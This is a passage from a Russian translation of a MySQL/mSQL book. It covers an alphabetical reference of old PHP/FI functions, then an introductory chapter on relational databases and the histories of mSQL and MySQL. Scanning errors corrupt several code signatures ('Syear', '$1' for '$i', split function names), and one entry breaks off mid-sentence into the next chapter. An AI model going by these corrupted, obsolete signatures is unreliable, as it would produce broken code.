    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

    Освобождает память, связанную с результатом работы mSQL/MySQL. Вся память автоматически освобождается по завершении скрипта, поэтому используйте эту функцию, только если ваш скрипт занимает слишком много памяти.

    mysql_insertjd

    $id_num = mysql_insert_id();

    Возвращает идентификационный номер, использовавшийся при последней команде INSERT, содержавшей поле auto_increment.

    msql_listdbs mysql_listdbs

    $result = msql_listdbs();

    $result = mysql_listdbs();

    Возвращает указатель на результат, содержащий список имен всех баз данных, доступных на сервере mSQL/MySQL. Функция m(y)sql_dbname может выбирать значения из этого указателя.

    msql_listfields mysql_listfields

    $result = msql_listfields($database, $table);

    $result = mysqllistfields($database, $table);

    Вернет указатель на результат, дающий информацию о полях таблицы table в назначенной базе данных. Функции m(y)sql_fieldflags , m(y)sql_fieldlen , m(y)sql_fieldname и m(y)sql_ fieldtype могут выбирать значения из этого указателя.

    msql_isttables mysql_listtables

    $result = msql_listtables($database);

    $result = mysql_listtables($database);

    Возвращает указатель на результат, содержащий имена всех таблиц базы данных database . Функция m(y)sql_tablename может выбирать значения из этого указателя.


    msql_numfields mysql_numfields

    $num_fields = msql_numfields($result);

    $nuni_fields = mysql_numfields($result);

    Возвращает число полей в result.

    msql_nurn rows msql_numrows

    $num_rows = msql_numrows($result);

    $num_rows = mysql_numrows($result);_

    Возвращает количество записей в result.

    msql_regcase

    $new_string = msql_regcase($string);

    Возвращает копию строки string, преобразованную в регулярное выражение, необходимое для выполнения поиска не зависящих от регистра совпадений в запросе mSQL.

    msql_result mysql_result

    $result_string = msql_result($result, $i, $field);

    $result_string = mysql_result($result, $1, $field);

    Данная функция возвращает значение из указанного поля field 1-й записи набора result. Аргумент field - это имя столбца, и он может быть указан как table, field для результирующих наборов, использующих соединения таблиц. В аргумент field допускается включение любой внутренней функции MySQL, которая может обрабатывать результаты SELECT, например, mysql_result ($result, $i, "length($field)") .

    msqljtablename mysql_tablename

    $name = msql_tablename($result, $i);

    $name = mysql_tablename($result, $i);

    Вернет имя таблицы, хранящееся в i-м поле результата, возвращенного функцией m(y)sql_listtables .

    next

    next($array);

    Перемещает указатель массива array на следующий элемент и возвращает текущий.

    octdec

    $decimal = octdec($octal);

    Возвращает десятичный эквивалент восьмеричного аргумента octal.

    opendir

    opendir($directory);

    Открывает указанный каталог для использования с функцией readdir. Вы должны закрыть каталог с помощью closedir после работы с ним.

    openlog

    openlog($ident, $options, $facllity);

    Открывает для записи системный журнал. Эту функцию необходимо вызывать после initlog и до первого вызова syslog . Аргументы те же, что и при вызове системной функции Unix openlog . Значение ident предваряет каждую запись журнала и обычно является именем программы. Значение options может быть одним из следующих: LOG_CONS (выводить журнал на консоль, если произошла ошибка в стандартной процедуре); LOG_NDELAY (открыть журнал немедленно вместо ожидания первой записи журнала); LOG_PERROR (записывать также в stderr); LOG_PID (включать идентификатор процесса (PID) в каждую запись журнала). Можно комбинировать эти параметры с помощью побитового ИЛИ (например (LOG_DELAY | LOG_PERROR LOG_PID)). Facility - это один из установленных системой уровней журнализации (например, LOG_SYSLOG, LOG_USER, LOG_KERN и т. д.).


    ord

    $number = ord($character);

    Возвращает ASCII-значение символа character.

    parse_str

    parse_str($string);

    Разбирает строку URL в формате "переменная 1=значение1 &переменная2=значение2" и инициализирует переменные, присваивая им соответствующие значения. Программа РНР выполняет эту функцию автоматически для приходящих из форм данных в начале каждого скрипта.

    passthru

    passthru($command);

    passthru($command, $returevalue);

    Выполняет внешнюю команду command и выдает все результаты ее выполнения непосредственно броузеру. Если указан второй аргумент, туда помещается возвращаемое значение.

    pclose

    pclose($fd);

    Закрывает канал, открытый функцией рореп.

    phpinfo

    phpinfo();

    Печатает информационную страницу, полезную при отладке установки РНР. Это та же страница, которая печатается при добавлении "?info" к любому РНР URL, или если вы обращаетесь непосредственно к двоичным файлам РНР (то есть, http://www.myserver.com/cgi-bin/php).

    phpversion

    $version = phpversion();

    Возвращает номер версии текущего запущенного РНР.

    popen

    $fd = popen($command, $mode);

    Запускает внешнюю команду command и либо посылает ей данные (если установлен режим записи: mode = "w"), либо читает данные из команды (если в mode указать "r"). Любой файловый дескриптор, открытый таким образом, должен быть закрыт функцией pclose.

    pos

    $position = pos($array['element']);

    Возвращает число - позицию указанного элемента ' element' в ассоциативном массиве а г ray.

    pow

    $result = pow($x, $y);

    Возвращает х, возведенное в степень у.

    prev

    Selement = prev($array);

    Перемещает внутренний указатель массива а г ray на предыдущий элемент и возвращает его.

    putenv

    putenv($string);

    Помещает заданную строку string в окружение. Обратите внимание, что локальная среда окружения уничтожается по окончании выполнения скрипта, поэтому эта функция полезна только при вызове внешних программ из скрипта.

    quote met a

    $quoted_string = quotemeta($string);


    Возвращает строку string, в которой все специальные символы экранированы таким образом, что ее можно безопасно использовать в регулярных выражениях.

    rand

    $number = rand();

    Возвращает случайное число в диапазоне от 0 и до числа RANDMAX, определяемого системой. Вы должны указать начальное число генератору случайных чисел, используя srand в начале вашего скрипта. Сделать это необходимо только один раз.

    readdir

    $file = readdir();

    Возвращает следующий элемент из текущего открытого каталога и сдвигает указатель каталога. Новые обращения к этой функции будут возвращать следующие элементы каталога до тех пор, пока записи об элементах каталога не закончатся.

    readfile

    $filesize = readfile($filename);

    Выдает содержимое файла filename непосредственно броузеру и возвращает размер файла. Эту функцию можно спокойно выполнять с двоичными файлами, такими как файлы изображений.

    readlink

    $filename = readline($link);

    Возвращает путь к настоящему файлу, на который ссылается link. В случае ошибки функция вернет -1.

    reg_match

    $result = reg_match($expression, $string);

    $result = reg_match($expression, $string, $array);

    Функция идентична ereg. Она поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_replace

    reg_replace($expression, $replacement, $string);

    Идентична ereg_replace. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    reg_search

    $partial_string = reg_search($expression, $string);

    $partial_string = reg_search($expression, $string, $array);

    Функция идентична ereg за исключением того, что она возвращает часть строки string , оставшуюся после первого совпадения. Если совпадения не обнаружено, функция возвращает пустую строку. Эта функция поддерживается только для обратной совместимости с предыдущими версиями РНР.

    rename

    rename($oldfile, $newfile);

    Переименовывает oldfile в newfile .

    reset

    reset($array);

    Перемещает внутренний указатель массива array на первый элемент и возвращает этот элемент.


    return

    return($value);

    Выходит из пользовательской функции и возвращает значение value.

    rewind

    rewind($fd);

    Устанавливает указатель файла f d в начало файла.

    rewinddir

    rewinddir();

    Передвигает указатель текущего каталога на начало каталога.

    rmdir

    rmdir($directory);

    Удаляет каталог directory , если он пуст.

    rsort

    $sorted_array = rsort($array)

    Возвращает отсортированную в порядке убывания копию ассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    setcookie

    setcookie($name);

    setcookie($name, $value, $expire, $path, $domain, $secure);

    Посылает броузеру cookie с указанными атрибутами. Если задано только имя name, cookie с таким именем будет удален из броузера. Для пропуска одного из аргументов он может быть заменен на "" (или на 0 в случае с expire и secure).

    seterrorreporting

    seterrorreporting($value);

    Если значение value равно 0, выдача сообщений об ошибках отключается, иначе все сообщения выводятся в обычном режиме.

    setlogging

    setlogging($value);

    Если значение value является ненулевым, журнализация доступа к текущей странице будет разрешена, иначе - запрещена.

    setshowinfo

    setshowinfo($value);

    Если значение value не нулевое, внизу страницы будет напечатан информационный нижний колонтитул.

    settype

    settype($variable, $type);

    Устанавливает тип переменной variable в тип type, который может быть integer, double или string .

    shl

    $value = shl($number, $b);

    Возвращает значение number, сдвинутое влево на заданное в b число бит.

    shr

    $value = shr($number, $b);

    Возвращает значение number, сдвинутое вправо на заданное в b число бит.

    sin

    $value = sin($number);

    Возвращает синус аргумента number (в радианах).

    sleep

    sleep($seconds);

    Останавливает обработку страницы на указанное количество секунд.

    sort

    $sorted_array = sort($array)

    Возвращает отсортированную в порядке возрастания копию неассоциативного массива array. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.


    soundex

    $soundex_key =soundex($string);

    Возвращает ключ soundex строки string .

    sprintf

    $string = sprintf($format, $arg, [$arg, $arg, ...]);

    Возвращает форматированную строку format, в который каждый индикатор переменной в стиле С printf заменяется соответствующим значением arg. Можно указать до 5 аргументов.

    sqrt

    $value = sqrl($number);

    Возвращает квадратный корень числа number.

    srand

    srand($integer);

    Инициализирует генератор случайных чисел целочисленным аргументом integer. Эту функцию необходимо вызвать один (и только один) раз в начале любого скрипта, в котором вы используете функцию rand.

    strchr strstr

    $substring = strchr($string, $value);

    $substring = strstr($string, $value); .

    Возвращает часть строки string после первого обнаружения символа value в строке, strchr и strstr - идентичные функции, и включены обе для полноты.

    strtr

    strtr($string, $set1, $set2);

    Все символы в строке string, которые входят в набор setl, функция преобразует в соответствующие символы в наборе set2. Если set1 длиннее set2, последний символ из set2 используется для "лишних" символов из set1. Если set2 длиннее set1, "лишние" символы из set2 игнорируются.

    stripslashes

    $plain_string = stripslashes($escaped_string);

    Удаляет все управляющие символы из строки escaped_string .

    strlen

    $length = strlen($string);

    Возвращает длину строки string .

    strrchr

    $substring = strrchr($string, $character);

    Просматривает с конца строку string в поисках указанного символа. Функция возвращает часть строки, начиная с места, где был найден искомый символ character. Если символ не обнаружен, возвращается пустая строка.

    strtok

    $substring = strtok($string, $characters);

    $substring = strtok($characters);

    Разделяет строку string на подстроки, используя в качестве разделителя любой символ, указанный в characters . После первого вызова strtok не указывайте строковый аргумент в последующих вызовах, в этом случае функция вернет каждую удачно выделенную подстроку, пока не будет достигнут конец string .


    strtolower

    $lc_string = strtolower($string);

    Возвращает string , где все символы преобразованы в символы нижнего регистра.

    strtoupper

    $uc_string = strtoupper($string);

    Возвращает string , где все символы преобразованы в символы верхнего регистра.

    strval

    $string = strval($variable);

    Возвращает переменную variable в виде строкового значения.

    substr

    $substring = substr($string, $start, Slength);

    Возвращает часть строки string , которая начинается с позиции start (0 является первым символом) и имеет длину в length символов.

    symlink

    symlink($target, $filename);

    Создает символическую связь (ссылку) от filename к target.

    syslog

    syslog($level, $message);

    Записывает сообщение message в системный журнал с уровнем level.

    system

    $results = system($command);

    $results = system($command, $return_value);

    Выполняет указанную внешнюю команду command и возвращает все результаты. Если задан второй аргумент, туда записывается возвращаемое значение (код возврата) команды.

    tan

    $value = tan($number);

    Возвращает тангенс аргумента number (в радианах).

    tempnam

    $filename = tempnam($path, $prefix);

    Возвращает имя файла с префиксом prefix, который будет уникальным в каталоге, указанном в path.

    time

    $time = time();

    Возвращает текущее время в стандартном формате времени Unix (число секунд после 1 января 1970 года).

    umask

    $umask = umask();

    umask($umask);

    Возвращает текущую маску umask, если аргумент не указан. Если аргумент umask указан, устанавливает umask в указанное значение (которое должно быть восьмеричным числом).

    uniqid

    $result = uniqid();

    Возвращает значение, уникальность которого по отношению к другим значениям, возвращаемым повторными вызовами этой функции, гарантирована.

    unlink

    unlink($filename);

    Удаляет указанный файл.

    unset

    unset($variable);

    Сбрасывает значение указанной переменной, которая может быть элементом массива. При применении данной функции к массиву удаляется весь массив.

    urldecode

    $decoded_string = urldecode($string);

    Возвращает копию строки string, в которой все экранированные спецсимволы URL раскодируются в их значения. Это делается автоматически для всех входящих данных.

    urlencode

    $encoded_string = urlencode($string);

    Возвращает копию строки string, в которой все спецсимволы закодированы для использования в URL.

    usleep

    usleep($ms);

    Задерживет синтаксический анализ скрипта на заданное в ms число микросекунд.

    virtual

    virtual($filename);

    Подключает файл filename точно так же, как в обычном файле HTML это делает тег MySQL & mSQL

    MySQL & mSQL

    Что такое база данных?

    База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

    У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

    У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

    здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

    MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

    Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



    Что такое реляционная база данных?

    Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

    Таблица 1-1. Таблица книг



    ISBN


    Название


    Автор


    0-446-67424-9
    0-201-54239-Х
    0-87685-086-7
    0-941423-38-7


    L.A. Confidential
    An Introduction to Database Systems
    Post Office
    The Man with the Golden Arm


    James Ellroy
    C.J. Date
    Charles Bukowski
    Nelson Algren


    В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

    Таблица 1-2. Таблица команд НБА



    № команды


    Название


    Тренер


    1


    Golden State Warriors


    P.J. Carlesimo


    2


    Minnesota Timberwolves


    Flip Saunders


    3


    L.A. Lakers


    Kurt Rambis


    4


    Indiana Pacers


    Larry Bird



    Таблица 1-3. Таблица игроков НБА



    Имя


    Положение


    № команды


    Rik Smits


    Центровой


    4


    Kevin Garnett


    Нападающий


    2


    Kobe Bryant


    Защитник


    3


    Reggie Miller


    Защитник


    4


    Stephen Marbury


    Защитник


    2


    Shaquille O'Neal


    Центровой


    3


    Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

    СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

    Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



    в течение многих лет используют

    Введение в реляционные базы данных


    Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

    Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

    Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

    Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

    ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



    MySQL и mSQL

    MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

    Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

    История mSQL

    До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


    У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

    Дэвид Хьюз

    Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

    Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

    Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


    посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

    От транслятора PostQUEL к РСУБД

    В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

    Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

    У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

    История MySQL

    Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


    Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

    В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

    Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

    В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

    К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

    Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


    С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

    Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

